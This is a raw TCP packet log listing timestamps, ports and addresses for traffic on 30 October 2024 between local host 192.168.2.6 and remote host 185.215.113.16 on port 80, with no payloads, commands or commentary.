Oct 30, 2024 05:25:13.606796980 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.606805086 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.606815100 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.606823921 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.606833935 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.606893063 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.606893063 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.607064009 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.607110977 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.607121944 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.607131958 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.607155085 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.607162952 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.607173920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.607183933 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.607197046 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.607197046 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.607253075 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.607603073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.607611895 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.607621908 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.607686996 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.607686996 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.648087978 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.648097992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.648116112 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.648123980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.648179054 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.648346901 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.682689905 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.682699919 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.682722092 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.682770967 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.682780981 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.682835102 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.682847977 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.682847977 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.682847977 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.682847977 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.682857990 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.682869911 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.682888031 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.682905912 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.682905912 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.683078051 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683120012 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683130026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683140993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.683177948 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.683320045 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683331013 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683341026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683371067 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683378935 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.683387041 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683415890 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.683415890 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.683494091 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.683671951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683681965 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683692932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683736086 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.683767080 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.683820963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683830976 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683840036 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.683873892 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.683911085 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.722603083 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.722637892 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.722649097 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.722666979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.722676992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.722688913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.722762108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.722762108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.722762108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.722762108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.722762108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.722762108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.722958088 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.722968102 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723020077 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.723025084 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723037004 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723048925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723061085 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723079920 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.723098993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.723145962 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.723325968 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723337889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723349094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723417044 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.723417044 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.723615885 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723627090 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723638058 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723725080 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.723725080 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.723767996 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723781109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723793030 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723805904 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.723814964 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.723853111 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.723853111 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.723853111 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.724025011 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724077940 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.724100113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724111080 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724143028 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724152088 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.724162102 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724231958 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.724231958 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.724311113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724320889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724361897 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.724419117 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724431038 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724442959 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724468946 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.724489927 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724503040 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724509954 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.724519968 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724534988 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724540949 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.724540949 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.724553108 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724560976 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.724581957 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.724612951 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.724927902 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724939108 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.724951029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.725008965 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.725008965 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969021082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969044924 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969055891 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969064951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969075918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969085932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969089985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969094992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969105005 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969115973 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969192982 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969192982 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969192982 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969234943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969244003 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969254971 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969264030 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969329119 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969338894 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969348907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969357967 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969367027 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969367027 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969367027 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969396114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969405890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969415903 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969425917 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969435930 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969444990 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969455004 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969455004 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969455004 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969465971 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969475985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969655991 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969666958 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969676018 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969701052 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969701052 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969701052 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969721079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969731092 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969741106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969753027 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969785929 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969785929 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969805956 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969816923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969825983 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969841957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969851017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969861031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969871044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969881058 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969890118 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969897985 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969897985 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969897985 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969909906 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969917059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969926119 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969943047 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969952106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969959974 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969969034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969969034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969969034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.969980001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969990015 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.969999075 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.970066071 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.970066071 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.976320028 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976350069 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976391077 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976428032 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.976428032 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.976428032 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.976448059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976458073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976468086 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976552963 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.976552963 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.976574898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976584911 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976594925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976603031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976614952 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976632118 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976644993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976650000 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.976650000 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.976663113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976674080 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976684093 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.976720095 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.976720095 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.976720095 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.977329016 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977380991 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977432013 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977442026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977468014 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.977468014 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.977468014 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.977487087 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.977518082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977528095 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977545023 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977554083 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977565050 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977606058 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.977606058 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.977606058 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.977844954 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977854967 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977864981 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977893114 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.977910995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977920055 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977931023 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977942944 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977973938 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.977973938 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.977973938 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.977983952 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.977994919 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978004932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978054047 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.978054047 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.978054047 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.978456974 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978466034 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978477001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978522062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978532076 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978542089 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978552103 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978559971 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.978559971 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.978559971 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.978641987 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978652000 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978661060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978669882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978679895 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978688955 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978701115 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.978713989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.978713989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.978713989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.978785038 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.979409933 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979419947 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979430914 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979465008 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.979477882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979487896 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979497910 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979545116 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.979545116 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.979545116 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.979567051 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979576111 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979585886 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979595900 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979608059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979623079 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.979630947 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979644060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979649067 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.979662895 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.979867935 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.979867935 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.980371952 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980464935 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980474949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980485916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980494976 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980525017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.980525017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.980525017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.980541945 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980551004 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980567932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980576992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980588913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980626106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980634928 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980643988 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.980643988 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.980643988 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.980655909 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980664015 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.980690002 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.980729103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.001087904 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.001105070 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.001116991 CET	80	49993	185.215.113.16	192.168.2.6
